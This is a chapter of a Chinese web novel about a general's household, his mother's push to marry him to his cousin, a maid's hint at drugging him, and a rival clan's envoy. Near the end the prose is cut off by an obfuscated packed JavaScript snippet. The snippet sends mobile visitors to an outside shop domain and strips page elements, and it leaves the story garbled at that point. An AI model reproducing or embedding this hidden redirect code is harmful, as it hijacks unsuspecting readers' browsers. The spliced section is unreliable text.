10. 第 10 章
作品:《扮演贤妻日常》 卫珩说完这句话,并未多做停留,手臂穿过她的膝弯与后背,略一用力,便将人稳稳地打横抱了起来。迎欢低低轻呼一声,下意识地攀住了他的肩颈。
他步履稳健,把她放倒在床上,然后他站定在她面前,垂眸先是看了她一眼,随即,他伸手解自己身上中衣系带,
衣带松开,中衣便顺着男人精悍的身躯滑落,堆叠在脚边,多年沙场锤炼出的体魄,肌肉并不虬结夸张,却紧实匀称,胸膛宽阔,腰腹劲瘦,肤色是偏冷调的白皙,上面却纵横着数道颜色深浅不一的旧疤痕,有些已然淡化,有些仍透着新愈不久的淡红。
迎欢坐在床沿,微微仰着脸看他,从这个角度,他几乎遮蔽了大部分光线,将她笼在一片带着他体温和淡淡凛冽气息的阴影里。
她仰视着他,眼睫微颤,眸光清澈,或许是这仰视的姿态过于顺从,卫珩唇角几不可察地向上弯了一下,发出一声极轻的低笑。
“明早还要早起,”他开口,“今儿晚上,早些安置。”
卫珩一向是个大忙人,执掌一方军政,每日都有堆积如山的文书待批,错综复杂的情报需研判,各方势力的动向要权衡,练兵,筹粮,抚民,御敌,桩桩件件,皆系于他一身。今夜让迎欢早睡,自然绝非因他自身体力不济,或是对身畔温香软玉有何不满,而是因为,大夫确实曾隐晦提过,若真心求嗣,房事不宜过于频繁,需得讲究时机与节制,过于贪欢,反而可能于子嗣有碍。
卫珩此刻的心思,倒与长公主不谋而合。他并非那种将传宗接代看作头等大事,执着于香火延续的庸常男子。然而,他亦非不通世务的痴人,自己于这乱世烽烟中,搏杀出来的基业,麾下效命的将士,收服的城池,积蓄的力量,乃至更为辽阔的图景,这一切,需要有人继承,需要血脉相连的后人来守成,开拓。正如长公主所想,若在寻常太平年景,似他这般年纪的世家子弟,膝下早已儿女绕膝,热闹非常了。不过是因着这纷乱时局,连年征伐,诸事倥偬,才将这寻常事耽搁至今。
他又说了句,“好了,安置吧。”
一夜再无他话,及至天光将明未明,窗纸透出微光时,身侧的男人便已准时醒来,穿衣出门,
待到迎欢拥着薄被静静躺了片刻,初醒的些微恍惚散去,正欲唤人,外间已传来略显急促的脚步声。门帘被小心掀开一道缝,孙婆子那张带着明显焦灼的脸探了进来,见迎欢已醒,便也顾不得许多,快步走了进来,反手又将门帘掩得严实了些。
“夫人,”孙婆子的声音压得低低的,却掩不住那份火烧火燎的急切,眼底两团青黑清晰可见,显然是一夜辗转反侧,未能安眠,“这心里实在不踏实。君侯昨夜从长公主那儿回来,可曾透出什么口风?长公主她莫非是真铁了心,要把那赵宝珠塞进来?”
迎欢淡淡瞥了一眼孙婆子,并未立刻回答。对于昨夜卫珩与长公主的对话细节,她并未亲耳听闻,但结合长公主一贯的心思,昨日那番显而易见的铺垫,以及卫珩回来后只字未提的态度,她心中大致已能揣摩出七八分。长公主最为属意,也唯一能彻底放心的“女婿”人选,除了她的亲生儿子卫珩,还能有谁?将自己视若珍宝的赵宝珠,托付给谁才能确保一世安稳,不受委屈?答案不言自明。
不过,迎欢此刻并无与孙婆子深入探讨此事的兴致,也无此必要。外间已有轻巧的脚步声响起,是大丫鬟春松领着两个小丫鬟,端着铜盆,手巾,衣物等洗漱用具走了进来。
春松见孙婆子也在,且面色不佳,心下微诧,但面上不显,只恭敬地朝迎欢行礼,“夫人,时辰差不多了,该起身了,稍后还要去长公主与老夫人处请安。”
孙婆子见状,只得退到一旁,看着春松等人服侍迎欢起身,盥洗,梳妆,更衣。
收拾停当,迎欢便带着春松,往长公主的院落行去。
长公主显然起得更早,赵宝珠陪坐在下首的绣墩上,很是安静。
见迎欢进来请安,长公主才收回目光,淡淡地“嗯”了一声,算是受了礼。
“既来了,便坐吧。王嬷嬷,给夫人上茶。”
迎欢谢过,在下首另一侧坐下。王嬷嬷奉上茶来。
没过多久,破天荒的,一向待在小佛堂的老太太也来了,
在厅中坐下,丫鬟上了热茶和几样易克化的点心。
老太太先问了长公主夜间睡得可好,又关切地看了看,目光最后才落到迎欢身上,温和地问道:“珩儿呢?又一早出去了?”
迎欢恭敬答道:“回祖母,夫君天未亮便起身,说是营中尚有军务亟待处理。”
老太太闻言,“这孩子,真是半刻不得闲。如今这时节,说是大局初定,可暗地里的波涛汹涌,怕是比明刀明枪更凶险几分。各方势力,表面归顺的,未必真心,按兵不动的,或许包藏祸心。他肩上的担子,重啊。”
长公主在一旁点头附和,“母亲说的是。只盼着他一切小心,莫要过于劳累才好。”
众人陪着老太太又说了一会儿闲话,早茶用罢,长公主便称要回去处理些事务,带着赵宝珠先行告辞离开了。李氏和赵氏两个也掐着点过来给老太太请了安,略坐片刻,便也知趣地告退。
迎欢本也欲起身随众人一同退出,却被老太太唤住了。
“你且留一留。”
迎欢,“祖母吩咐。”
“来,坐近些。”老太太拍了拍自己身侧的锦垫。
老太太并未立刻切入正题,先是端起茶盏慢慢呷了一口,才抬眼细细端详着迎欢,“这几日,珩儿在家里,一切可还安好?饮食起居,可还顺当?”她问得寻常,“在外头打了小半年的仗,刀枪无眼,便是他武艺再高,经验再丰,也难保没有个磕碰损伤的时候。你实话同祖母说,他身上,可还妥当?”
迎欢心知这是老太太真心实意的关切,便也据实以告,声音温婉,“回祖母,夫君他身上确实添了些新伤。但正如祖母所言,夫君自幼习武,久经沙场,自有分寸,受的多是皮外伤,将养些时日便无大碍了。孙媳已嘱咐厨房日日备着滋补的汤水,祖母大可放心。”
老太太听着,点了点头,她放下茶盏,“昨儿晚上,珩儿是不是去他母亲那儿了?”
迎欢轻声应道:“是。庆功宴后,夫君去母亲处问安。母亲心中挂念,自然要唤夫君过去说说话。”
“哦?只是问安说话么?”
“说了些什么?你婆母她可是又提起了宝珠那孩子的婚事?”
老太太如此直白地问及长公主与卫珩的私下谈话内容,意图已然十分明显。这绝非寻常的关怀,而是在探听长公主那边的动向和决断。她作为儿媳,若将昨夜长公主与卫珩的对话一五一十告知老太太,无异于在长公主身边安插了一双眼睛,将长公主的意图和盘托出。这其中的分寸,极难把握。
她斟酌着词句,尽量将话题泛化:“母亲心疼宝珠妹妹,见她年纪渐长,亲事未有落定,心中焦急,与夫君商议一二,也是人之常情。具体的,孙媳并未在场,不敢妄加揣测母亲与夫君的谈话。”
老太太静静地看着她,那双阅尽人世沧桑的眼眸里并无恼意,反而掠过一丝几不可察的赞赏,似乎对迎欢这番谨慎周全的回答并不意外。
“你是个聪明孩子,在我面前,不必句句斟酌,事事圆滑。”
“你婆母是什么心思,我这把老骨头,活了这么多年,难道还看不明白么?”
“从很早以前,早到珩儿还未及冠,你婆母心里头,属意的儿媳妇人选,就是宝珠,宝珠是她嫡亲妹妹留下的唯一骨血,模样性情,也都是按着高门主母的样子教养出来的。亲上加亲,在她看来,是再圆满不过的事。既能全了她对妹妹的情分,又能让宝珠一世有靠,更能将赵家这助力牢牢绑在珩儿身边,这些,她都同我明里暗里提过不止一次。”
“不过,珩儿娶了你,这三年来,你嫁入卫家,执掌中馈,上孝长辈,下恤仆从,将府中上下打理得井井有条,待人接物,端庄得体。这些,我看在眼里。”
“你是个好孩子。”
她伸手,轻轻拍了拍迎欢的手背,
“你婆母她,或许至今仍未完全放下那个念头。这次将宝珠接到身边,朝夕相处,那份心思只怕又活络起来。昨日叫珩儿过去,明面上是为宝珠择婿,可那话里话外的意思,怕还是存着让珩儿娶了宝珠的打算。”
“但是,你听祖母一句。”
“你既已是我卫家三媒六聘,明媒正娶进门的正妻,这三年来,你的所作所为,也当得起这个位置。这卫家主母的位置,便稳稳当当地是你的。断没有道理,无缘无故,再让什么旁人进来,分了你的尊荣,扰了你的清净。”
“你婆母那里,自有我去分说。”
“孙媳谨记祖母教诲。”
老太太这番话,说得再明白不过。她心里跟明镜似的,长公主此番将赵宝珠接到身边,若真存了再续前缘,让卫珩娶了宝珠的心思,以宝珠金枝玉叶的出身,以长公主对她视若己出的疼爱,是绝无可能让她屈居侧室,给人做小的。
迎欢,“祖母放心便是。昨夜夫君归来,并未同孙媳提及什么特别的话。母亲或许心中确有思量,但终究未曾将那层意思挑明。孙媳相信夫君,若他心中真有那样的计较与安排,以他的为人,定然会知会孙媳,绝不会欺瞒。夫君是顶天立地的君子,行事向来光明磊落,孙媳信他,也信他不会让孙媳受无端的委屈。”
这番话,说得通情达理,既未否定老太太的担忧,又充分表达了对丈夫卫珩的信任与依赖,将自己摆在了一个全然信赖夫君,以夫为天的贤惠妻子位置上,没有丝毫怨怼之气,只有全然的顺从与体谅。
老太太听完,心头不由得一热,她活了大半辈子,见惯了后宅之中因利益与情爱而生的种种怨妒,算计与不甘。迎欢这般反应,坦然,甚至带着对卫珩毫无保留的信赖,显出一种通透与大气。
她脸上露出了真心实意的笑容,“好孩子,你能这样想,祖母真是万分的欣慰。你自嫁进来,便一直这般懂事,识大体,祖母都看在眼里。”
迎欢乖顺地垂眸,受了这份夸奖,随即又抬起眼,“祖母今日难得有兴致,出佛堂与我们这些小辈一同用膳,孙媳心中很是欢喜。正好孙媳有一桩心事,盘旋已久,不知当讲不当讲,今日祖母在,便想厚颜请教一二。”
老太太,示意她说下去,“但说无妨,不必拘礼。”
迎欢略一沉吟,似乎是在斟酌词句,方才缓缓道,“正如祖母方才所言,母亲对宝珠妹妹,确是疼爱非常。自宝珠妹妹来了之后,母亲心情愉悦,精神都好了许多,足见情深。若母亲心中真的还存着从前那份念想,希望夫君能娶宝珠妹妹进门,孙媳作为夫君的妻子,自然是一切以夫君的意愿,以母亲的心意为先。只是如今母亲并未明言,孙媳心中虽有所感,却也不敢妄自揣测,更不便在夫君面前多言,只怕反倒扰了母亲与夫君的筹划。”
她顿了顿,“况且,孙媳嫁入府中已有三载,至今......至今未能为夫君诞育子嗣。此事,孙媳心中日夜难安。母亲时常提及,若在太平年景,夫君这般年纪,早该儿女成群了。如今时局动荡,夫君在外奔波,经年征战,孙媳身在内宅,除了勉力打理家务,为夫君守好后方,实在难以在军国大事上为他分忧。每每想到夫君在外,身边连个知冷知热、贴身服侍的人都没有,孙媳便觉寝食难安,深愧为妻之责。”
她的声音愈发轻柔,字字恳切,“若是母亲觉得,该为夫君纳几位妥帖的妾室,能在夫君忙碌时,于身边细心照料,让夫君的日子过得舒坦些,孙媳绝无二话,定会尽心安排,视若姐妹。即便是夫君在外,若有看得入眼,合心意的女子,想要带回府中,或是祖母与母亲这里,已有相宜的人选,孙媳也必当欣然接纳,绝不会有半分拈酸吃醋,阻碍夫君的心思。孙媳一心所盼,唯有家宅安宁,夫君顺遂。”
迎欢能说到这个份上,姿态已放得足够低,心意也表得足够明白,这确实是个心思通透的孩子。
老太太不由得将迎欢的手更握紧了些,“好孩子,你的心,祖母都明白。你且放宽心,赵宝珠这件事,自有祖母为你做主。你如今是珩儿明媒正娶的正妻,从前那些口头上的戏言,时过境迁,早已做不得数。卫家,也断没有让自家媳妇无故受委屈的道理。”
老太太,“况且,眼前不正有个现成的,更好的人选么?”
“陆恪,我的外孙,万里挑一的好儿郎。他与宝珠,说起来也是自幼相识,郎才女貌,再般配不过了。”
不仅长公主在为赵宝珠的婚事焦心,老太太心里也一直惦记着外孙陆恪的终身大事。昨夜思前想后,她忽然灵光一现:既然长公主想为宝珠择婿,而自己又想为陆恪寻一门好亲,何不将这两人凑成一对?
亲上加亲,既全了长公主疼爱赵宝珠之心,也解了自己对外孙的牵挂,岂非两全其美?
然而,老太太觉得天作之合,长公主那头,却未必作如是想。
此刻,长公主的屋内,她与赵宝珠对坐在窗下的软榻上,中间隔着一张填漆小几,
长公主手里捏着茶盏,想起昨夜与卫珩的谈话,这婚事,看来比她预想的还要棘手些。珩儿那孩子,心思深沉,主意又大,怕是没那么容易被说动。
一个名字自然而然地浮现在她脑海,陆恪。
那孩子,确实也是个极出色的人选,年纪轻轻便身居高位,手握重兵,容貌气度不输珩儿,论起前程,更是不可限量。若宝珠能嫁与他,绝不算辱没。
但这念头仅仅是一闪而过,便被长公主迅速否决了。
陆恪再好,在长公主心里,也只能是第二人选,她心底最深处,属意的,认定的,能让她彻底放心的,始终只有自己的亲生儿子,卫珩。
更何况,长公主的目光悄悄瞥向身旁安静垂首的宝珠。宝珠的心思,她这个做姨母的,岂会不知?这孩子的一颗心,早就牢牢系在了她表哥身上。
强扭的瓜不甜,若硬要将她与陆恪凑在一处,只怕委屈了孩子,也未必能成就佳偶。
-
这一早上,卫珩都在外头的官署里忙碌,各地军报堆满了宽大的紫檀木书案,他需一一审阅批复,轻重缓急皆要拿捏得当。这还不止,门外廊下,从各处赶回述职的将领,官员已排成长龙,个个屏息静气,等候传召。卫珩处理政务向来雷厉风行,条理清晰,即便如此,这一套程序下来,也耗费了整整一上午,直到日头近午,长公主那边派来的人,才寻着间隙将话递了进去。
卫珩踏出官署威严的大门时,便见到了长公主身边的管事嬷嬷,
那嬷嬷上前一步,“君侯,长公主殿下请您回府后,移步一叙。”
卫珩目光掠过她,未置一词,只微一颔首。随从早已牵过他的坐骑,那是一匹通体乌黑的骏马,神骏非凡。他翻身上马,缰绳一抖,
回到侯府,卫珩并未径直前往长公主的院落,他下了马,将马鞭随手抛给迎上来的仆从,步履未停,却是朝着自己与迎欢所居的正院方向走去。
晨间处理公务时的凝肃神情,在踏入内府这片相对私密的空间时,稍稍化开些许,不知怎的,昨夜帐内昏暗光线下,妻子那双含着水光,羞涩中带着些许茫然望着自己的眼眸,忽然清晰地浮现在脑海,那副情态,柔弱依人,全然信赖,别有一番触动心弦的滋味。
思及此,他脚下的步伐也不知不觉加快了几分。
刚踏入正院的门槛,抬眼便见一道窈窕身影正从室内走出,正是迎欢。夏日炎炎,为了图些凉快,衣衫难免单薄些。此刻是午膳方罢,迎欢显然正准备小憩,身上只穿着一袭极轻极薄的粉软罗夏衣,那衣料轻透,行走间隐约勾勒出曼妙的曲线。一头浓密乌发想必是得知他回来,仓促间挽起,松松地结了个髻,斜斜垂在颈侧,几缕碎发散落,衬得那张本就莹白如玉的小脸更是白中透粉,宛如将熟未熟,饱含汁水的水蜜桃。
卫珩的目光在她身上停留了一瞬,他记得她刚嫁过来时,身姿是少女特有的纤细轻盈,弱柳扶风一般。这三年来,在他身边,在他的榻上,不知不觉间,那青涩的轮廓悄然丰润起来,骨肉匀停,秾纤合度,别具一种惊心动魄的风韵。此刻那单薄的夏衣掩不住胸前起伏的曲线,较之从前明显饱满了许多,随着她轻盈的步态微微颤动。他不过随意扫过两眼,便觉那处风光旖旎。
“夫君。”迎欢已迎上前来,脸上漾开笑意,柔声问安。
卫珩“嗯”了一声,顺手将外面那件因骑马而略带尘灰的外袍脱下。迎欢自然而然地伸手接过,卫珩瞥她一眼,本想问问她今早去长公主和老太太处请安,可曾听到长公主说什么。
念头刚起,外头便传来了动静。长公主院里的另一个丫鬟已赶了过来,立在院中恭敬禀道,“君侯,长公主请您过去。”
卫珩本也是打算换身衣裳便去母亲处,此刻见人来催,便将到了嘴边的话暂且压下。他目光扫过那传话的丫鬟,又落回迎欢身上。这时,大丫鬟春松已极有眼色地捧着备好的干净衣裳过来了,是一套蔚蓝色常服,颜色清贵,料子挺括。
卫珩换上了这身衣裳。蔚蓝色极衬他,更突出了他五官的俊美与通身的清贵气度,他整理了一下袖口,未再多言,转身便往长公主的院子去了。
一踏入长公主的起居室,便见长公主身侧坐着那位表妹赵宝珠。
卫珩上前,“母亲。”
长公主脸上立刻堆起了笑,连声道:“快坐,快坐我身边来。这一上午的,累了吧?快给君侯上茶。”她指挥着下人。
卫珩才刚落座,对面便有一道目光盈盈地投射过来。赵宝珠抬起了眼,正偷偷地望着他。仅仅一眼,她便被表哥今日这身装束与越发摄人的风采攫住了心神,这样的风姿,这样的男子,她只看一眼便已心魂俱醉,如何还能移开目光?她的视线仿佛黏在了卫珩的脸上,舍不得离开半分。
卫珩何其敏锐,岂会察觉不到这近乎灼热的注视?但他神色未变,甚至连眼风都未朝赵宝珠那边扫一下,只对着长公主开口道,“母亲,今日晨间,儿子仔细思量了昨夜母亲所言之事。母亲放心,表妹的终身,儿子已放在心上,且已初步觅得一位合适的人选。”
长公主闻言,先是一惊,她没料到儿子动作如此之快,更没料到他会如此直接地提起人选,她还未及反应,便听卫珩继续道,“此人出身书香门第,家世清白,素有才名,如今在军中担任要职,性情温和敦厚,前途可期。房中干净,未曾娶妻,也无姬妾通房。儿子以为,其家世,品貌,才学,与表妹堪称般配。母亲大可放心,儿子必不会委屈了表妹。”
长公主听着,心却直往下沉。她张了张嘴,“还有,其他人选么?”
卫珩轻笑了一声,那笑意却未达眼底,反问道:“母亲还想要什么样的人选?但说无妨,儿子尽力去寻。”
长公主被他这一问,噎住了。看着儿子那张俊美却平静无波的脸,她半晌说不出话来,胸口堵着一股闷气。好一会儿,她才有些赌气似的开口,语气加重:“你再多寻几位来看看,母亲总想为你表妹觅一个顶顶好的,万中无一的!你可明白?最好的!”最后三个字,她几乎是咬着牙说出来的。
若论最好的人选,卫珩心中倒还真有一个,表兄陆恪。无论从哪个方面看,陆恪都堪称顶尖。然而他这个表兄,样样出色,偏偏于女色上近乎冷漠。从前母亲不是没动过将宝珠许给陆恪的念头,可陆恪当时那副毫不掩饰的淡漠与嫌恶,哪个被娇养着长大的贵女受得了?宝珠当场就气得脸色煞白,浑身发颤。这两人,别说结亲,没成仇都算好的了。
卫珩不再多言,起身,随手拂了拂衣袖,语气依旧恭敬却带着明确的结束意味,“母亲既还有要求,儿子便再留意。若母亲有了更具体的想法,或打听到更合意的人家,只管让下人告知儿子身边的长随,儿子必当尽力,为表妹寻一门俱全的亲事。母亲若无其他吩咐,儿子军中尚有事务待理,便先告退了。”
他起身时,赵宝珠的目光又一次不受控制地追随着他,看着他挺拔的背影,毫不留恋地掀开珠帘,消失在门外,她眼中的光亮骤然熄灭,泪水毫无预兆地滚落下来。
表哥,表哥这是什么意思?他真的要亲手将她许给别的男人?
赵宝珠一颗芳心早已牢牢系在表哥身上,为他喜,为他忧,所有少女旖旎的梦境里都是他的身影。如今,这心尖上的人,却亲口说要为她另择夫婿。
“姨母。”她呜咽出声,泪如雨下。
长公主哪里见得她这般委屈?连忙将她搂过,“好孩子,莫哭,莫哭,你表哥他就是块顽石,这男女情爱之事,他根本一窍不通,心里不懂的!你别急,姨母这就让人去跟他把话挑明了!姨母的意思,就是要你嫁给他,做我的儿媳妇,我们亲上加亲,长长久久地在一起!”
“姨母,宝珠心里慌,”赵宝珠泣不成声,豆大的泪珠不断滚落,哭得梨花带雨,楚楚可怜。
长公主被她哭得当下也顾不得许多了,立刻招手唤来王嬷嬷,低声急促地吩咐了几句。王嬷嬷会意,匆匆退下,亲自去追刚离开不久的卫珩。
卫珩刚走出长公主院落的门不远,王嬷嬷从后赶上。“君侯留步。”王嬷嬷气喘吁吁,却不忘礼数。
卫珩停下脚步,转身,眉峰微挑,静待下文。
王嬷嬷定了定神,小心翼翼地将长公主那层未捅破的窗户纸彻底捅开:“君侯明鉴,殿下之意,实是盼着宝珠小姐能侍奉君侯左右。小姐是您的亲表妹,青梅竹马,若能结为连理,亲上加亲,日后必定夫妻和睦,家宅兴旺,殿下也可安心了。”
卫珩听罢,“回去禀告母亲,若对宝珠未来夫婿有何具体要求,无论是家世,品性,才干,皆可列明,使人报于我知。我自会依母亲心意,寻访合适人家,务必办妥此事。”
王嬷嬷一听这话,君侯这话说得再明白不过,他只会寻访合适人家,并无自己娶了的意思。她不敢再多言,连忙躬身应“是”,匆匆折返。
而这边的长公主,已勉强将赵宝珠安抚住,至少表面上止住了她的泪水。赵宝珠坐在妆台前,由丫鬟伺候着重新匀面梳妆。她极其爱惜自己的容貌,尤其是在得知表哥那位妻子沈氏生得极美之后,更是不愿在姿色上有半分逊色。她赵宝珠,论门第,论才情,论相貌,哪一样不是拔尖的?站在表哥身边,她自信绝不输于任何女子,遑论那个不过是政治联姻进来的沈家女!
长公主站在一旁,看着镜中侄女重新变得娇艳的面容,“我的宝珠真是越长越出挑了,瞧瞧这眉眼,这鼻子,这小嘴儿,真是标致得不得了。”
赵宝珠对自身的容貌也向来引以为傲,心中暗暗与那未曾深交的“表嫂”较着劲儿。
恰在此时,王嬷嬷回来了,附在长公主耳边低声将卫珩的回话禀明。长公主听完了之后,面色微微一沉,虽未动怒,但那凝重之色却显而易见。
一直留意着姨母神色的赵宝珠,立刻捕捉到了这一变化。她垂在身侧的手猛地攥紧,指甲深深掐入柔嫩的掌心,一阵锐痛传来,几乎要掐出血来。
赵宝珠强撑着仪态回到自己房中,屏退左右,赵宝珠一直紧绷的弦终于断了。她猛地将梳妆台上那些瓶瓶罐罐,钗环首饰狠狠扫落在地!瓷器碎裂的刺耳声响中,她崩溃地失声痛哭。
“表哥,表哥......”她一声声哀哀地唤着,哭得声嘶力竭,方才精心补好的妆容再次被泪水冲刷得一塌糊涂。
“姑娘,姑娘快别哭了!仔细伤了身子,也伤了容颜!”贴身的大丫鬟急忙进来,扶住她颤抖的肩膀,连声地劝慰,“姑娘这样好的相貌,若是哭坏了,憔悴了,可如何是好?”
赵宝珠只是摇头,泣不成声。
大丫鬟看着她这般模样,咬了咬牙,“可还记得府里的楚姨娘是如何进的门?”
赵宝珠哭声一滞,厌恶地蹙起眉。楚姨娘是她父亲如今最宠爱的妾室,当初便是用了些不甚光彩的手段攀上了她父亲,这才得以入府,并且多年来盛宠不衰,连她母亲都颇受压制。
大丫鬟见她听进去了,继续道,“老爷从前是何等看重夫人,房里干干净净。可那楚姨娘,偏偏就上了位,还能牢牢抓住老爷的心。姑娘可知是为何?”她顿了顿,“这世上男子,但凡手段用得巧,哪有几个真能坐怀不乱、坚如磐石的?关键在于,得要近得了身,使得上力。”
赵宝珠抬起泪眼,
“姑娘与君侯是嫡亲的表兄妹,这份亲缘便是旁人求也求不来的便利。青梅竹马,结为连理本是天经地义。”
“只要姑娘成了君侯的人,以君侯的性情,以长公主殿下对您的疼爱,怎么可能委屈您做小?届时,名分自然是水到渠成。”
赵宝珠心跳如鼓,脸颊绯红,
大丫鬟见火候已到,附在她耳边,用极细微的声音说了几句。无非是些内宅女子心照不宣的手段,酒,或是药,或是制造独处的机会。
赵宝珠脑中嗡嗡作响,第一个浮现的,却是今日早晨表哥穿着那身蔚蓝衣裳,坐在姨母身边时的模样。宽肩窄腰,臂膀结实,握着茶盏的手指修长有力,骨节分明,青筋微现,他抬眼时,那狭长的眼尾,深邃如寒潭的黑眸。
一股热流猛地窜上脸颊,她羞得浑身发烫,却在那羞涩之下,缓缓地,极其轻微地点了点头。
她满脑子都是表哥那般俊美的男子搂住自己,甚至吻住她,修长的手指伸向她的......她的衣襟。
-
午后,官署内的气氛依旧肃穆紧绷。
卫珩坐于主位之上,听取麾下谋臣与将领汇报各方动态,并决策下一步的进军方略。
议事厅内,衬得墙上悬挂巨幅舆图。
一位身着青衫,面容清矍的谋士上前一步,拱手道,“君侯,如今大局虽于我方有利,然天下烽烟未息,四方豪杰并起。欲定鼎中原,除兵甲之利,人心向背尤为关键。而欲收人心,则天下世家之倾向,不可不察,不可不争。”他顿了顿,指尖虚点向舆图,“尤以百年名门,累世公卿的巨族为甚。彼等树大根深,门生故吏遍布朝野乡野,其声望与潜在之力,足以影响一州一郡之民望,甚至左右地方士人之心。昔日四国鼎立,哪一方不曾极力延揽名士豪族?得其归附,非但可得钱粮,人才之助,更如同获得一方舆情,其政治声望之增益,绝非攻下几座城池可比。”
另一人接口,“正如先生所言。而眼下,声望最隆,潜力最厚者,莫过于付氏。付家诗礼传家,已历十数代,出过三位帝师,五位宰相,门风清贵,底蕴深不可测。更难得的是,这一代付家的嫡长公子,付清之,年方弱冠便已才名动天下,不仅博览群书,精通经史策论,更具实际才干,绝非寻常闭门读书的迂阔文人,去岁江南几大世家因利益纠葛几乎反目,局势一触即发,正是这位付公子出面周旋,以其卓绝的口才与对各方利益的精准把握,竟说服两家化干戈为玉帛,维持了当地士族表面的平衡与体面,其手腕与声望,由此可见一斑。此等人物,若能为君侯所用,或至少能与之友善,于我大业,有百利而无一害。”
卫珩静静听着,指节在木椅扶手上轻轻敲击,发出几不可闻的笃笃声,这是他深思时的习惯。付清之的名字,他并非第一次听到。此次大胜归来的庆功宴,各方势力皆有表示,付家也确实派了人前来道贺,并奉上不菲的礼单。然而,正如谋士所言,付家这等累世豪族自有其矜持与观望,作为家族下一代掌舵人的付清之并未亲至,只遣了身边得力的亲随前来。这姿态,既未过分热络以示好,也未全然冷淡而得罪,分寸拿捏得恰到好处。
今日那付家的使者还在前厅等候回音。
外间侍从通传,付家使者请求拜见。
卫珩略一颔首,“传。”
不多时,一名举止沉稳,衣着素雅的男子步入厅中,
他身后跟着两名捧着礼盒的仆从。男子上前,姿态不卑不亢,行礼道,“小人怀安,奉我家公子之命,特来拜见君侯,恭贺君侯此番南征大捷,威震寰宇。”
给贴身随从起名怀安,取“心怀天下安定”之意,足见其主志向与胸襟。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122480|195495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“怀安先生不必多礼。”卫珩,“付公子厚意,本侯心领。未知付公子近来可好?”
怀安再次躬身,“劳君侯动问,我家公子一切安好,常于读书治学之余,感念时局艰难,百姓流离,心甚忧之。”他侧身示意,仆从立刻将一只异常沉重,以紫檀木打造的长匣捧上前来。“我家公子素闻君侯神武,有万夫不当之勇。公子雅好收藏,偶得前朝名将忠武公曾用之宝刀,此刀百炼而成,重百斤,刃长三尺,吹毛断发,斩铁如泥,忠武公持此刀曾独挡万军,留下赫赫威名。公子言,神兵当配英雄,今特将此家藏珍品转赠君侯,惟愿此刀能在君侯麾下,再展神威,助君侯劈波斩浪,早定乾坤。”言罢,他亲手打开木匣。
匣盖开启的刹那,一道冷冽的寒光溢出,一柄古朴厚重,刃身隐现层层叠叠的长刀静静躺在衬垫上。刀身并非崭新,却保养得极好。
厅中诸人目光皆被吸引,低低的惊叹声响起。
这般重量,寻常武将挥舞片刻恐怕就要力竭,确是罕见的宝刀。
卫珩目光落在宝刀之上,他起身,走至匣前,伸出右手。那手骨节分明,修长有力,因常年握缰执剑,掌心与指腹覆着一层厚茧。
他五指收拢,握住刀柄,并未见如何用力,臂上肌肉线条流畅地微微绷紧,手背青筋隐现,那柄宝刀竟被他单手持着,自匣中稳稳提起!
刀身完全离开衬垫,卫珩随意挥动两下,动作举重若轻,刀锋破空发出低沉的呜咽,气势惊人,他嘴角微扬,赞道,“果然好刀!付公子厚赠,本侯领。此刀锋锐无匹,沉雄厚重,正合我用。请先生回转,务必代本侯向付公子致谢。”
见卫珩轻而易举地拿起并挥动了宝刀,怀安眼中飞快地闪过了然。这份臂力与举重若轻的姿态,绝非寻常将领能有,是这位君侯武力与自信的彰显。送礼是结好,而对方坦然受之并展示实力,又何尝不是一种回应与威慑?
侍从也立刻将早已备好的回礼奉上,
侍从道,“此乃我家君侯回赠付公子之礼。君侯言,付氏清流世家,付公子更是雅望非常。愿以此微物,略表结交之诚。天下纷扰,正需志士仁人共谋安定。盼日后能与付公子有更多切磋往来之机,同气连枝,共襄盛举。”
怀安恭敬接过,姿态恳切:“君侯美意,小人必一字不差转达我家公子。公子亦常言,乱世求治,需有非常之人行非常之事。今日得见君侯风采,更知此言不虚。付家亦心系天下安宁。愿与君侯保持往来,互通声气。”
卫珩颔首,“如此甚好。怀安先生远来辛苦,可在驿馆好生歇息。若有所需,尽管吩咐下去。”
怀安再次行礼道谢,捧着回礼,从容退出了议事厅。
直到走出官署威严的大门,置身于午后略显喧嚣的街市,
怀安一直挺直的肩背才略微放松,他此行身负两项使命,明为送礼结好,实为近距离观察评估这位势力急剧膨胀,名声在外的君侯卫珩,另一件,则是奉公子之命,继续寻找一个女人。
回想起方才厅中见闻,怀安心绪难平。卫珩此人,仅观其形,便知是尸山血海中闯出的枭雄。身量高大挺拔,静坐时如山岳,顾盼间目光如电,那不怒自威的气场与久居上位的压迫感,绝非寻常人物所能拥有。更令人印象深刻的是他提起宝刀时的轻松姿态,公子判断得没错,这卫珩绝非徒具野心的泛泛之辈,他有实力,有魄力,更有清晰的目标,是一个极其厉害,也必须高度警惕的人物。与这样的人结交,如同与虎谋皮,须得十二万分的小心。
至于寻找迎欢,怀安轻叹一声,招手唤来一直隐在暗处的一名劲装护卫,“按老规矩,在此地暗中寻访,重点是三年前至今有无年轻女子孤身流落,或被买卖的线索。”护卫默然抱拳,旋即悄无声息地融入人群。
怀安对此并不抱希望。几年了,几乎每到一地都要暗中查访。可人海茫茫,一个孤弱女子,存活的机会本就渺茫,何况已过去这么久。在怀安看来,以公子如今的身份地位,付氏倾力培养的下一代家主,名动天下的清贵公子,实在不应再执着于那段微时的婚约,过去便该让它过去,尘归尘,土归土。
但公子心思,面上永远是温润和煦的浅笑,谁也看不透他心底究竟将这段过往置于何地,又将那迎欢看得多重,身为下属,他只能奉命行事。
